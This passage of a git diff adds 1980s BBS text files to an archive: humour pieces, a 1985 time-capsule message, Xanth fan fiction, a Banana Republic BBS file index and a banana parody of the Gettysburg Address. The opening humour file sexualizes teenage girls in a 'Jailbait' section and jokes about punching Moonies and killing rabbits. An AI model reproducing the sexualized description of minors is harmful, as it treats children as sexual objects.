calls the infamous Nwonknu chain of +BBS's. What constitutes a Modem Geek is basically what the majority perceives +one to be. I tend to go along with the notion that Bill the Cat is such a +person. I would say that because his general character on the BBS's consists +mainly of whining about how people have been saying nasty things about him, +preaching about how wrong phreaking is, and advertising his favorite board, the +AFFORDABLE HARBOR. Oh yes, two other things. He likes going on about Doctor +Who and David Letterman a lot as well. The problem is, people get tired of +reading such messages very rapidly. This tends to make some of the less patient +BBS callers quite mad, and they start to post nasty messages about him, which +just escalates the whole thing. The average "modem geek" would probably +disappear under the heavy fire that BtC takes. A prime example of someone who +disappeared is WoLVErInE LoGAn. He never even had a chance. Well, enough +bullshit about that subject; I'm sure everybody has heard too much about it +already. + + Anarchy. What is it? Is it being a punk? Is it joining Anarchy, inc.? Who +knows? I doubt anyone could really envision what real anarchy would look like. +I mean, going around with things stuck through your nose, wearing dorky looking +clothes, doing strange things to your hair, and listening to the Dead Kennedys +is not my idea of Anarchy. In my opinion, the majority of people who do that +are total dorks. They're very immature and don't really know what they're +doing. + + Ed. Ned. 8. 88. /ed. The Panther. Controversy. Stupid arguments being +shot down by Cionex di Norina. People acting obnoxious just for the sake of +being obnoxious (hey, that's what this is all about! Erase that). Ed is Ned is +8 is round head is... Ed is all-encompassing. Planet Ed is(was) holy ground. +Ho Hum. + + Transcendental Meditation. TM. Maharishi Mahesh Yogi. India. Hindus. +Weird. What is it really? A cult? An alternative to mind-altering drugs? A +way to get yourself to stop eating Captain Crunch cereal? Do you care? I +thought not. + + The Moonies. Now there's a strange group of people. In fact, I would say +that they're totally bonkers. I mean, the Reverend Moon the second coming of +Jesus! Come on! It really is a laugh to see them in the airports trying to +solicit donations, new captives (oops I mean converts), etc. Some day, wouldn't +you like to just slug one of them right smack in the face? + + The Nightstalker. AC/DC. Satanism. Censorship in music. Stupid? Yes! Can +you imagine someone so stupid as to take a song by a group with a member as +screwy as Angus Young literally like that? Har Har! "You shook me all night +long..." -- "I'm on the Highway to Hell..." + + Slayer. Loud. Fast. Deranged. Obnoxious. "Relentless lust of rotting +flesh; to thrash the tomb she lies; heathen whore of Satan's wrath; I spit at +your demise." Or... "I feel the urge the growing speed; to fuck this sinful +corpse; My task's complete the bitches soul; lies raped in demonic lust" +Charming, aren't they? + + Jailbait. Fun. Nubile young bodies. Pre-marital sex. Small, firm breasts +hidden behind "Wham!" t-shirts. Firm buttocks under "Duran Duran" all-in-one +underwear/jogging shorts. Ahem. Bill, reaching for your zipper? Naughty boy! +"Hey baby, you're a sweet young thing; Still tied to mamma's apron strings; I +don't even want to know your age; I'm just happy you're here backstage; You're +jailbait, and I just can't wait; Jailbait, baby, come on." + + Bill the Cat. Oops, I've already discussed him. + + Kinky sex. Bondage. Fire Hydrants (darn it, I keep going back to our great +friend, BtC!). Dogs (now I'm talking about Otto Maddox! Shit!). Rear Entry. +Uh, yeah. We certainly are rapidly heading for the gutter once more here.. +Time for a quick change of subject until your mother leaves the room, you dirty +little bastards! + + Rabbits. Rabbits are nice, soft, cuddly creatures, aren't they? Long, floppy +ears, with fuzzy fur, and nice long back legs to hop around with. Even they're +so cuddly, couldn't you sometimes just take a hatchet and cut one of their heads +off? I mean, chop its head off and then turn it upside down so you can watch +all of the blood rush out to the ground. Then you can dislodge the brain and +give it to some slightly off person named _____________ (you can add the name +yourself) to use as a replacement for theirs, which obviously doesn't work very +well. The rabbit would at least be somewhat of an improvement over the present +model (what is it? an Iguana?) + + Macintosh owners. There seem to be a lot of these people lately. They always +think that their computer is the solution to all the world's problems. They +think that Steven Jobs is some sort of deity, and that any product that he had +anything to do with at Apple Computer is sacred (except, of course, the Apple +//e, which is inferior technology, along with anything that rolls out of that +great monolith, IBM). I wonder what Wozniak thinks of the Macintosh. He never +seemed to say anything about it. "You'd better not talk to an IBMer, because +they are evil incarnate, and will not praise the Lord, Steve Jobs." + + Since for the time being I can't think of anything else to put into a text +file, I will end this one here. Stay tuned for Part II, which will be called +"Sex and the un-married Modem user: What kind of a joke is this?". + +Call these: + The Haunted House (415)941-7256 + The Realm of the Rogues (415)941-1990 + The Rogues' Gallery (415)961-9337 300/1200 no password! + The Dark Side of the Moon (408)245-7725 300/1200 no password! + South Side of the Sky (408)738-1685 300/1200 no password! + +(C) 1985 by Nobody in particular. + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/vanzuyti.hum b/textfiles.com/groups/ANARCHYINC/vanzuyti.hum new file mode 100644 index 00000000..200908aa --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/vanzuyti.hum @@ -0,0 +1,102 @@ +Message #001 : TIME CAPSULE entry +Current Date : Sunday 05-May-1985 AD +Identification : Ron S. van Zuylen! +CompuServe ID : 72655,510 +Ethnic Group : Official Bozo +Social Status : Jennifer Kirby + + Dedicated to Jennifer Kirsten Kirby and the planet Earth. + + You're viewing 24 hour recorded modem entertainment. + + The following document is being written by the famous Ron S. van Zuylen, +elite audio engineer and professional programmer. He does not find calling +local computerized bulletin board systems intellectually stimulating, so he is +not up to date with all the pseudo named social outcasts in the modem world. +This document is not covered by any United States copyright laws and may be +distributed at your discretion. + + Hello, I'm Ron S. van Zuylen, of the infamous VanCo Audio Engineers and VanCo +Software Development Group. + + So this is a "TIME CAPSULE" eh? Will people read this in a million years and +enjoy my material? Just thinking about it frightens me. + + I'm just Ron S. van Zuylen, a poor audio engineer and professional programmer +living in beautiful Sunnyvale, California in the year of our lord one-thousand +nine-hundred eighty-five (1985). If I'm not alive when you are reading this, +I'm probably dead, so please do not try to contact me in any way. + + Now I would like to take some time to talk about all these useless groups of +under aged modem enthusiasts such as Bfb, Olympia, and Anarchy (Sorry Daredevil) +that are around toady. People in the modem world just love belonging to some +sort of group. I assume they enjoy boasting, "I'm in [Group Here] and you're +not!" I just hope by the time you are reading this that people will have stopped +creating useless groups, but I doubt it. + + The age of modem users has dropped drastically in the past few years. About +three years ago, almost everyone using modems were over seventeen years old. +Today, almost all modem users are under eighteen. One thing that bothers me is +that kids seem to use the modem as a substitution for extracurricular +activities. They use their free time using modems to call systems and/or trade +(steal) the latest copyrighted software. I really feel sorry for these people. +There is so many things these people can do with their lives and they waste it +using a modem. They should discover the outside world, and the opposite sex. + + If you were a "hacker" a few years ago, you were an experienced computer +programmer or technician. Now if a person is a "hacker", he/she destroys or +alters data in other computers. I do not know how this stereotype was started. + + The software industry has been slowly going down the drain. Many software +designers have already left the industry due to software piracy. You probably +think that the software developer is rich and won't miss the sales from the +program you just stole. Are you naive enough to believe that you are the only +person in the whole world who thinks the way you do? If the designer makes +$5.00 from the sale of a single program, and a thousand people think the way you +do, the designer just lost $5000. Why do you think the price of software is +what it is today? I wish people would show some intelligence. + + Don't you just love how everything is in 1985 AD? Great isn't it? + + Ok, so you want to know how life is in 1985 AD huh? Well, basically it is. +I'm just running around in limbo missing Jennifer Kirby. She just happens to be +in Austrailia and probably doesn't give a [censored] about me anymore. Well, I +won't babble on about her right now... + + Dum dee dum dum... + + Well, I'll just say a few things about myself right now. I'm a hetrosexual +male human. I'm 6'2" (wide). I have infared Hair and ultraviolet Eyes. I'm +not attached to one person at the moment (at the wrists and ankles that is). My +favorite type of music comes from Ice Cream Trucks. I yell "Ey, yuk!" at the +precise moment of orgasm. I only smoke when I'm burning. My favorite formula +is "X=X". My favorite time of the day is miller time. My favorite abbreviation +is "PS". My favorite sport is Underwater Basket-Weaving. I run at up to 9600 +baud. And I love Jennifer. + + I believe that life is life a vacuum cleaner... sometimes it sucks! + + Well, I think that is all I have to say. So have a wonderful life in whatever +century you are living in now. I wonder if Atari is accepted now? + + Thank you for viewing this low quality text-file. You schmuck! + + Also, I would like to clear up who I work with. The VanCo Associates consists +of Ron S. van Zuylen, Jennifer K. Kirby, Eric Ly, Karen Abrahms, Gavin +Haubelt, and Paul Mac. We are not a group of modem enthusiasts as most +misinformed people think. If you have not already noticed, you probably have +never seen most of these people on computerized bulletin board systems. The +VanCo Associates is a valid business and we do make money on our various audio +and software projects. + + >Ron S. van Zuylen >VanCo Entertainment/Software >Time Capsule Text Revision +1.20 + + "Why should I have Sex? I have a fireplace!" + + Thank You-Bye! + + End.Of.File (EOF) + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/xanth.fun b/textfiles.com/groups/ANARCHYINC/xanth.fun new file mode 100644 index 00000000..9790a7d2 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/xanth.fun @@ -0,0 +1,291 @@ +-------------- /+==============================+\ + Anarchy Inc. and || Rhadamanthine Dungeonwriters || +-------------- \+==============================+/ + +present a classic retelling of the mindless wandering's by a not-so-distant +storyteller.... + + [R/Dw: Before we begin, this story was going to appear as the next Xanth +novel. Because of a twist of fate in the interlocking of the last story, +Crewel Lye, Tye as the dimensioner gave way to Dolph as the changer. There was +no way to get away from this, but we will try to present (if it goes over well) +for your enjoyment, volumnes containing two chapters of the supposed book about +once a month. If the turnout is not so great, we will try somewhere else. Oh: +Don't try to pronounce our name, you'll probably get it wrong. We now commense +with the retelling, with no offense to Piers Anthony in mind. If you don't +understand it--read some great fiction/fantasy books by Piers Anthony and get +with it!] + + Indirect Lightning + ------------------ + The supposedly next Xanth Novel! + +[Chapter One] + + Tye pushed his dark hair away from his eyes with a sigh and adjusted himself +in his seat. Somehow, this was not what he wanted to be doing. Mundane was so +much like it's name it wasn't even funny. He longed to be home--Xanth was a +beautiful place. Why his father had sent him here was understood, but, Tye +still didn't really like it. Well, that was alright, soon he would be going +home for pretty well much the rest of his life. This long stay in Mundania did +help him understand it, but some things were still too confusing for a sixteen +year old to understand. + + He thought of the lakes and the rivers and the blue sky and some of the +friends he had left at home. His parents, his sister, they all seemed so much +better from a distance then when he's been with them for a while. "I guess the +saying about 'being away from things makes you want them more' is true," Tye +told himself. Oh well. He thought of all the different details of Xanth he +remembered, but something wasn't right. Something disturbed him in his +thought. What could it be? The land is different? No. It's something else. +"Hmmm." + + "Tye? Tye? Helloooo?" At this time the teacher was standing in front of +Tye, with his hands on his hips. "Tye? Are you with us this morning?" + + "Huh? Wha-" Tye caught himself almost too late. His muscles tightened, h is +throat became desert sand, and his heart skipped a beat. + + "We were wondering what your answer to the question might be?" With a sly +look the teacher stepped back into the front of the room. The teacher had +time, and by the look of unreal innocence the teacher had, he seemed ready to +give Tye a year to get his answer out. + + Tye knew better. Teacher's purposely do not re-state the question originally +intended so they can put the student in a very bad and awkward position. +Fortunately, there were ways to avoid the question without giving in answer +such as "I wasn't paying attention," and Tye quickly picked one. + + "I am confused, too," he finally stuttered out. Since Tye seemed to of lost +about five minutes of his life in Mundania to his images of home, he had no +idea what the current conversation was. So his answer carried some risk. If +the teacher had asked him a new question, that nobody had answered, Tye would +be at foolish fault. That seemed unlikely because if it was a new question, +the teacher would of stated the question so everyone knew it. The other thing +is that the teacher is just picking Tye because he wasn't paying attention. +There was a risk, but Tye believed the answer he Tye gave should even out the +chances of an incorrect response. + + "Well," the teacher started, with a small frowning look, "try to pay more +attention next time." + + One point for Tye. One small conflict ridden out. With a fleeting smile, +Tye decided to pay attention for the rest of the lecture. + + Outside Tye walked over to his box, which had a little "dial" on it that one +has to twist and turn in such a way as to get the box door to open. By this +time, Tye had mastered the art of the dial, and he expertly opened the door. +Inside were more books, to go along with the ones he was carrying at the time. +It seems this place liked to give their listeners reading material in the form +of many hard-bound books. "Too many," Tye concluded. + + Out of the corner of his eye Tye caught a figure approaching. From the wa lk +and his looks, Tye knew it was his Mundane friend Dean. + + A red-haired, pudgy, small kid walked up. His shirt tucked half way in and +half out, his pants scrubbing the ground, Dean was a sorry sight, but a good +person. "Hi Tye! How is everything? Oops, can't talk now! I'll catch ya +later!" And with that the figure disappeared down the hallway. One nice thing +about Dean, you never need to say much, he'll just hold a conversation to +himself for you, if need be. Lately, Dean seemed to have been in that sort of +one-to-oneself mood. Tye didn't mind. + + Fastly approaching was a dirty-blond, tightly dressed girl, about Tye's +height. This was Urica, the person who used the box above him. In the +configuration the boxes were in, two people could not get in to their own boxes +at the same time if the boxes were in the same column. Tye, backing away after +closing his box door, gave her room to get in. He knew her alright, but he +never did have any "special" feelings for people of the opposite sex, at least +not like people like father had. "Just a fact of life, son, you'll soon get to +love them." His father would tell him thus, but only when his mother was +present did his father tell of the optimistic sides of the situation. Old +guard Crombie would say, "They're all no good. You can't live without them, +but you can't live with them. Of course, my wife isn't so bad." Maybe he was +mellowing out, but Crombie just seemed to be contradicting himself a little +more and more when the subject of life with the opposite sex arose. Tye +guessed it was hard to get rid of old thoughts when one really believes, or use +d to believe them. + + Urica showed Tye a fleeting smile as he moved away, then turned to her box. +During this time, several friends of her's had moved in and were now blocking +and talking at each side of her. Tye smiled a little, and casually waved and +said a "hello". + + Urica turned and greeted him with a warm smile that was strangely unfamiliar +to Tye. After already turning to leave, Tye did a double take and re-turned to +face Urica when he caught the glipse of her turning so he could so ak in every +word that she might direct to him. + + "Hello! You know you really--" she said, pausing, "Oh, forget it." + + Oh no! There is nothing more worse in the world then the trajedy of the +unfinished sentence. With his resolution to never cause anyone so much +frustration because of it, Tye turned to leave, pondering what she might of +wanted to say. Tye wasn't interested in her as anything more then a good +friend, and maybe that was impossible, too. Urica turned to her flocking +admirers, and Tye directed himself toward the next room in which he would +probably drift off to the thoughts of Xanth again, but, if the people can't +keep his attention, should he have to give it? Oh well. + + With a sigh, he entered the room. The lecturer turned, and with a muffled +glee gave Tye what he felt was a look that said "Oh, hurray! Another victim!" +Such morbid thoughts usually don't enter Tye's carefully sifted imagination +process, but maybe they were well founded, for as Tye turned to sit down, he +saw the other people his age who were with this lecturer before, and on every +pale face there was a look of dead boredom. + + "Oh no," he morbidly muttered. + +/\________________________________________________________________________/\ +\/ \/ + +-------------- /+==============================+\ + Anarchy Inc. and || Rhadamanthine Dungeonwriters || +-------------- \+==============================+/ + +present a classic retelling of the mindless wandering's by a not-so-distant +storyteller.... + + Indirect Lightning + -------------------- + The supposedly next Xanth novel! +[Chapter Two] + + Queen Irene almost jumped down the stairs, her green hair flowing underneath +her small, clear-crystaled crown. With her light green, elegant gown, she +seemed to be like grass on the wind. She hurried down the stairs, not giving +her feet a chance to pace a steady beat to her thoughts. Castle Roogna was +hectic, making ready for the weary adventurer who was to return home, and the +Queen was right in the middle of it in every way, form, and shape possible. + + "You Zombies there, please don't drop anything in the food! Thank you!" The +main floor was filled with tables and plants that outlined every wall. Thus +was the Queen's specialty: plants from seeds in mere seconds. As her age +pushed her into maturity, her power increased and the time in which she needed +to do her talent was shortened. She was in her (later) prime. + + The Zombies, on the other hand, here via the Zombie Master, were probably +shot past their prime by several centuries. Not one of which could be said +they complained during that time. Not only would complaining do no good, but +it seemed whenever they tried to talk they would disgust the person they were +talking to, as they tried to catch the pieces of molded skin and tongue that +would usually come off from the vibrations. Nevertheless, when they had a job +they stuck to it. Today their job was to the foods. A poor decision by +whoever made it. As the Zombies hazzardly collected foods and breads from the +plants and placed them on the trays marked "food", there seemed to be more than +the ordinary amount of flesh and ligaments being lost to the ground or the +food, making the latter obviously too harsh for mortal tongues. More Zombies s +weeped up the messes made by the food Zombies, but the sweeping Zombies left +trails, too, so, essentially, they were making more work for themselves. It wa +s not a sight to remember for posterity. + + Meanwhile the Queen had rushed around and was picking up this and that and +doing the best she can to get things straight. She didn't care if she wasn't +supposed to get actively physical when doing something, she just wanted to do +things her way. She tried to be the best Queen she could be, and if getting +down to pick things up seemed right to her, thus would she do. + + "Could two ghosts please go check on the Princess and get her down here to +help me straighten my thoughts?! Oh," she paused for a quick, late, thought, +"Then, please, attend the King! I must make sure they are not in need of +anything, and I just don't seem to have the time to...." She trailed off as she +spotted four ghosts orienting from either the hallway upstairs or the main +floor, flying towards the rooms specified. + + "Thank you!" She called. Even if she was Queen, she believed being polit e +was the best way to handle things. + + In the middle room on the top floor the qhosts fluttered in to attend to +Princess Ivy. Her hair tinted only a little green, she was dressed in a formal +gown, and she figured she didn't look to bad. In the past years she had really +grown, in every direction, but her waist stayed tight and she had hundereds of +suiters waiting just to see her. + + One ghost fluttered to her side, avoided her swinging arm, which was engaged +with fixing up her hair, and whispered something to her. She jumped up, "Oh +my! I will do so at once!" And headed out the door towards the main f loor. + + In the corner room, upstairs, King Dor wasn't having such a terrific time. +His talent, speaking with the inanimate, now seemed only a burden, and not much +as any help. The chairs and tables and rugs were at it at full force. + + "I don't care what you say, King Dodo, my plaster is coming loose and if I +lose too much more, that's going to mean rubble for you!" No inanimate object +ever has a good sense of humor, not excluding walls. No matter how hard they +try, jokes don't work for something that doesn't even have a mouth. + + "Well," this was the floor, "at least you don't have ol' bluegoo here +covering you up! What a pain in my boards!" + + The finely woven blue-outlined rug on the floor would not let the remark go +unchallenged, "Consider me doing you a favor! I'm covering you up so you don't +have to be ashamed of your dusty, muggy, wood." Oh boy. + + The floor gave a loud creak and almost sounded like it would cave in. King +Dor got fed up, and decided to 'lay down the law' right after his pants, which +he was having trouble getting into, started saying something about "Nobody +knows the troubles I've seen". + + Of course, he couldn't get the chairs quiet before they put in some remarks +about "Overburdening". + + Dor was quite upset with his pants and the situation in the room in general, +and he, being King, was not going to fight it. In a calm, easy voice, he spoke +slowly and pronouncing every word, "If anything says anything more they will be +burnt, dismantled, or torn down." It may of been noisy when he stated his +decree, but as "the walls have ears", so seemed everything else, because a +beautiful silence was covering the room, except for from the door, which was +being pounded down by the very shouts and complaints and reports going on all +over the Castle. + + "Much better. I thank you all." King Dor got back to the business at hand, +and just as he was halfway in the slightly small pants, the two ghosts drifted +into his room. A little red in the cheeks, the King started, "Heh. Well. You +see--these pants must of shrunk since last I've worn them. Could you get me a +little size larger?" + + With that, one ghost grabbed the pants, and disappeared down the hallway +toward the room the clothes were in. King Dor hadn't changed much. He was a +little bigger since his marriage, and his power was about at its peak, maybe +slightly on a downfall, but his hair and face still revealed the boyish look he +was ever so destined with. He was not fat, but maybe "the pants were older +then he thought," at least, that's what he told himself. Ghosts usually don't +speak, and when they do, they aren't usually heard, but in the semi-quiet of +the room, the second ghost seemed to be nervous, and after the King asked how +things were going downstairs, the ghost seemed pressed into revealing its +source of nervousness. + + "Sire," he began, in a soft, lightly shrill voice, "I have noticed that the +Zombies seem not to be holding together as good as usual. I feel that the +Castle is in the same condition. And, as you know, if the Castle goes, we will +be gone. Sire, we do not know what to do, is there anyway we can get stop +this?" + + "Ghosts usually were not bold enough to talk, so this one ghost must be +really worried," King Dor thought to himself. If Castle Roogna crumbled, King +Dor would have a problem, but the ghosts wouldn't be so bad off. After +floating around for an eternity in a halflife state, death or life could give +great relief. + + Of course, the reason they entered halflife would not be solved, so it is +uncertain whether the ghosts would fall into the non-element life or stay the +way they are. In either case, it is a good enough reason to check it out and +figure out what's happening. "Alright. Thank you very much. I'll look into +it personally." King Dor now was a little worried. + + At this time the ghost with the pants came flying in with some new, larger +sized bottoms. The second ghost, still surprised that the King would even take +time out to handle the problem, started saying "Oh, sire, that's not--" and was +cut off with a hand and a nod. With that the ghost left, not quite so shaky. + + Putting on the pants King Dor found them a good fit. "Thank you. Now go +down and tell the Queen I'll be there in a minute. She is so fussy sometimes." +A little laugh. And with that the ghost was off. Why would the Castle +crumble? Especially since it is supposedly the strongest one built in Xanth? +"I wonder how the Good Magician's Castle and the Zombie Master's Castle is +holding up," Dor said to himself. How come Dor hadn't noticed the Castle's bad +condition himself? So the wall wasn't kidding when it jested about turning to +rubble! Why didn't Dor take suspicion then? But, really, who listens to walls +anymore? + + \ No newline at end of file diff --git a/textfiles.com/groups/BANANAREPUBLIC.1 b/textfiles.com/groups/BANANAREPUBLIC.1 new file mode 100644 index 00000000..a55e8225 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC.1 @@ -0,0 +1,68 @@ + +T E X T F I L E S + +

Groups: The Banana Republic BBS

+

+A Rare Specimen from the country of New Zealand, the Banana Republic BBS lived +from the late 80's to the Early 90's, where El Presidente encouraged his users to +write all sorts of entertaining files, mostly fiction, but with some computer-oriented +and even illegal topics thrown in. +

+ + + + + +
+
Filename
Size
Description of the Textfile
abe-anan.txt 2394
 The Gettysburg Banana Address, from the Banana Republic BBS +
aptel89.txt 6913
 Applied Telecommunications Goes to Computing '89, by Iceman of the Banana Republic BBS +
aptel90.txt 6919
 Applied Telecommunications Goes to Computing '90, by Iceman of the Banana Republic BBS +
ban_relg.txt 3943
 The Divine Inspiration of the Great Banana, from the Banana Republic BBS +
banana.txt 21858
 Six Men and a Banana, from the Banana Republic BBS +
barri.txt 8194
 The Story of Barri, an Unusual Banana, from the Banana Republic BBS +
beau.txt 3932
 Baron Beauregard of the Baskervilles "The Bastard", from the Banana Republic BBS +
br_ode.txt 812
 Ode to the Banana Republic BBS by The Great Rabbi Bajzheet +
brparty.txt 9389
 Report from the BR Party, held by the Banana Republic BBS (November 27, 1989) +
card.txt 6734
 A Brief Guide to Magentic Strip and Smart Cards, by Iceman of the Banana Republic BBS +
dictate.txt 7354
 El Presidente's Tutorial for Sysops, by El Presidente of the Banana Republic BBS +
environ.txt 2496
 What is "Environmentally Friendly"? by El Presidente of the Banana Republic BBS +
gbs.txt 16598
 Metaphysical Ambience by A. McCully and Rez Errection of The Banana Republic BBS +
history.txt 36394
 Iceman's History of the World, by Iceman of the Banana Republic BBS +
intrview.txt 2091
 An Interview with El Presidente, by Iceman of the Banana Republic BBS +
logoff.001 883
 Logoff Screen: Brought To you by the Letters B and R +
logoff.002 293
 Logoff Screen: Thank You, Barri +
logoff.003 215
 Logoff Screen: Oh, the Burden +
logoff.004 655
 Logoff Screen: And Lo it Came to Pass +
logoff.005 4654
 Logoff Screen: Roll the Credits (1990) +
nzfones.txt 7501
 Phreaking in NZ by The Defecator of Banana Republic BBS (January 24, 1989) +
sph-1.txt 2985
 The Story of the Sphereoids, by the Bat Bastard of Banana Republic BBS +
sph-2.txt 1990
 The Spheroids, Part 2, by Bat Bastard of Banana Republic BBS +
sph-3.txt 3188
 The Sphereoids Part 3, by Bat Bastard of Banana Republic BBS +
sph-4.txt 3157
 The Sphereoids Part 4, by Bat Bastard of the Banana Republic BBS +
sph-5.txt 3399
 The Sphereoids Part 5, by Bat Bastard of Banana Republic BBS +
sph-6.txt 4130
 The Sphereoids Part VI, by Bat Bastard of Banana Republic BBS +
sph-7.txt 3279
 The Spheroids Part 7 by Bat Bastard of Banana Republic BBS +
sph-8.txt 5508
 The Sphereoids Part 8, by Bat Bastard of Banana Republic BBS +
stamps.txt 4029
 Cheating Stamps version 2.0 by Pharlap Johnson of The Banana Republic BBS +
unixhack.txt 68012
 The Iceman's Guide to UNIX Hacking by the Iceman of Banana Republic BBS (June 1, 1990) +
welcome.001 400
 Welcome Screen: Please Bare With us +
welcome.002 632
 Welcome Screen: It's Christmas Time +
welcome.003 683
 Welcome Screen: Is This Fantasy Island? +
welcome.004 1310
 Welcome Screen: Citizens of the Banana Republic! +
welcome.005 1054
 Welcome Screen: Hello, you Sweet Lovely User Person!!!!! +
welcome.006 674
 Welcome Screen: Picture It... +
welcome.007 910
 Welcome Screen: Oh Woe! +
welcome.008 1119
 Welcome Screen: El Presidente Seeks Your Help +
welcome.009 557
 Welcome Screen: QUIET JOHNNY +
welcome.010 616
 Welcome Screen: M U N J A +
welcome.011 1954
 Welcome Screen: El Presidente, etc, etc +
welcome.012 936
 Welcome Screen: Teenage Ninja Mutant Turtles +
welcome.013 808
 Welcome Screen: The Spanish Civil War +
welcome.014 420
 Welcome Screen: Sound the Alarm +
welcome.015 592
 Welcome Screen: Radical Changes in Immigration +
welcome.016 787
 Welcome Screen: Send in a Major Limb +
welcome.017 517
 Welcome Screen: The Appeal to the United Nations +
welcome.018 2946
 Welcome Screen: no no no no no +
welcome.019 648
 Welcome Screen: It Works! +

There are 50 files for a total of 267,462 bytes.
+ diff --git a/textfiles.com/groups/BANANAREPUBLIC/.windex.html b/textfiles.com/groups/BANANAREPUBLIC/.windex.html new file mode 100644 index 00000000..33a67650 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/.windex.html @@ -0,0 +1,68 @@ + +T E X T F I L E S + +

Groups: The Banana Republic BBS

+

+A Rare Specimen from the country of New Zealand, the Banana Republic BBS lived +from the late 80's to the Early 90's, where El Presidente encouraged his users to +write all sorts of entertaining files, mostly fiction, but with some computer-oriented +and even illegal topics thrown in. +

+ + + + + +
+
Filename
Size
Description of the Textfile
abe-anan.txt 2394
 The Gettysburg Banana Address, from the Banana Republic BBS +
aptel89.txt 6913
 Applied Telecommunications Goes to Computing '89, by Iceman of the Banana Republic BBS +
aptel90.txt 6919
 Applied Telecommunications Goes to Computing '90, by Iceman of the Banana Republic BBS +
ban_relg.txt 3943
 The Divine Inspiration of the Great Banana, from the Banana Republic BBS +
banana.txt 21858
 Six Men and a Banana, from the Banana Republic BBS +
barri.txt 8194
 The Story of Barri, an Unusual Banana, from the Banana Republic BBS +
beau.txt 3932
 Baron Beauregard of the Baskervilles "The Bastard", from the Banana Republic BBS +
br_ode.txt 812
 Ode to the Banana Republic BBS by The Great Rabbi Bajzheet +
brparty.txt 9389
 Report from the BR Party, held by the Banana Republic BBS (November 27, 1989) +
card.txt 6734
 A Brief Guide to Magentic Strip and Smart Cards, by Iceman of the Banana Republic BBS +
dictate.txt 7354
 El Presidente's Tutorial for Sysops, by El Presidente of the Banana Republic BBS +
environ.txt 2496
 What is "Environmentally Friendly"? by El Presidente of the Banana Republic BBS +
gbs.txt 16598
 Metaphysical Ambience by A. McCully and Rez Errection of The Banana Republic BBS +
history.txt 36394
 Iceman's History of the World, by Iceman of the Banana Republic BBS +
intrview.txt 2091
 An Interview with El Presidente, by Iceman of the Banana Republic BBS +
logoff.001 883
 Logoff Screen: Brought To you by the Letters B and R +
logoff.002 293
 Logoff Screen: Thank You, Barri +
logoff.003 215
 Logoff Screen: Oh, the Burden +
logoff.004 655
 Logoff Screen: And Lo it Came to Pass +
logoff.005 4654
 Logoff Screen: Roll the Credits (1990) +
nzfones.txt 7501
 Phreaking in NZ by The Defecator of Banana Republic BBS (January 24, 1989) +
sph-1.txt 2985
 The Story of the Sphereoids, by the Bat Bastard of Banana Republic BBS +
sph-2.txt 1990
 The Spheroids, Part 2, by Bat Bastard of Banana Republic BBS +
sph-3.txt 3188
 The Sphereoids Part 3, by Bat Bastard of Banana Republic BBS +
sph-4.txt 3157
 The Sphereoids Part 4, by Bat Bastard of the Banana Republic BBS +
sph-5.txt 3399
 The Sphereoids Part 5, by Bat Bastard of Banana Republic BBS +
sph-6.txt 4130
 The Sphereoids Part VI, by Bat Bastard of Banana Republic BBS +
sph-7.txt 3279
 The Spheroids Part 7 by Bat Bastard of Banana Republic BBS +
sph-8.txt 5508
 The Sphereoids Part 8, by Bat Bastard of Banana Republic BBS +
stamps.txt 4029
 Cheating Stamps version 2.0 by Pharlap Johnson of The Banana Republic BBS +
unixhack.txt 68012
 The Iceman's Guide to UNIX Hacking by the Iceman of Banana Republic BBS (June 1, 1990) +
welcome.001 400
 Welcome Screen: Please Bare With us +
welcome.002 632
 Welcome Screen: It's Christmas Time +
welcome.003 683
 Welcome Screen: Is This Fantasy Island? +
welcome.004 1310
 Welcome Screen: Citizens of the Banana Republic! +
welcome.005 1054
 Welcome Screen: Hello, you Sweet Lovely User Person!!!!! +
welcome.006 674
 Welcome Screen: Picture It... +
welcome.007 910
 Welcome Screen: Oh Woe! +
welcome.008 1119
 Welcome Screen: El Presidente Seeks Your Help +
welcome.009 557
 Welcome Screen: QUIET JOHNNY +
welcome.010 616
 Welcome Screen: M U N J A +
welcome.011 1954
 Welcome Screen: El Presidente, etc, etc +
welcome.012 936
 Welcome Screen: Teenage Ninja Mutant Turtles +
welcome.013 808
 Welcome Screen: The Spanish Civil War +
welcome.014 420
 Welcome Screen: Sound the Alarm +
welcome.015 592
 Welcome Screen: Radical Changes in Immigration +
welcome.016 787
 Welcome Screen: Send in a Major Limb +
welcome.017 517
 Welcome Screen: The Appeal to the United Nations +
welcome.018 2946
 Welcome Screen: no no no no no +
welcome.019 648
 Welcome Screen: It Works! +

There are 50 files for a total of 267,462 bytes.
+ diff --git a/textfiles.com/groups/BANANAREPUBLIC/abe-anan.txt b/textfiles.com/groups/BANANAREPUBLIC/abe-anan.txt new file mode 100644 index 00000000..b0cf37b5 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/abe-anan.txt @@ -0,0 +1,42 @@ + +File : ABE-ANAN.TXT +Author : Wolfman +BBS : The Banana Republic BBS + + + ------------------------ + 1863 a Gettysburg Banana + ------------------------ + +Fourscore and seven afternoon snacks ago our foreBananas brought forth on this +BBS a new Republic, conceived in Bananahood, and dedicated to the proposition +that all Bananas are created equal (under Barri). + +Now we are engaged in a great war against Banana eaters and the Black +Tarantulas testing whether that the Republic, or any lunch so conceived and so +well ripened, can long endure. We are met on a great battlefield of that war. +We have come to dedicate a portion of this BBS as a final resting-place for +those Bananas who here gave their skins so that others may live and do normal +Banana things. It is altogether fitting and proper that we should do this. But, +in a larger sense, we cannot dedicate - we cannot consecrate - we cannot hallow +this BBS. The brave Bananas, living and eaten, who laid down their skins here +have consecrated it, far above our poor power to add or detract. The world will +little note, nor long remember, what we say here, but it can never forget what +they did here. It is for us the uneaten rather, to be dedicated here to the +unfinished work which those Bananas who surrended the white mushy bits in the +centre here have thus far so nobly advanced. It is rather for us to be here +dedicated to the great task remaining before us - that from these honoured +eaten we take increased devotion to that cause for which they gave their last +full measure of fruitfulness - that we here highly resolve that these eaten +shall not have been eaten because there was nothing else in the friut basket - +that this Republic, under Barri, shall have a new birth of divine dictatorship +of the Bananas, by the Bananas, for the Bananas, shall not overripen and so +perish from the earth. + + +------------------------------------------------------------------------------- +AUTHOR : Wolfman +------------------------------------------------------------------------------- +Brought to the WORLD by The 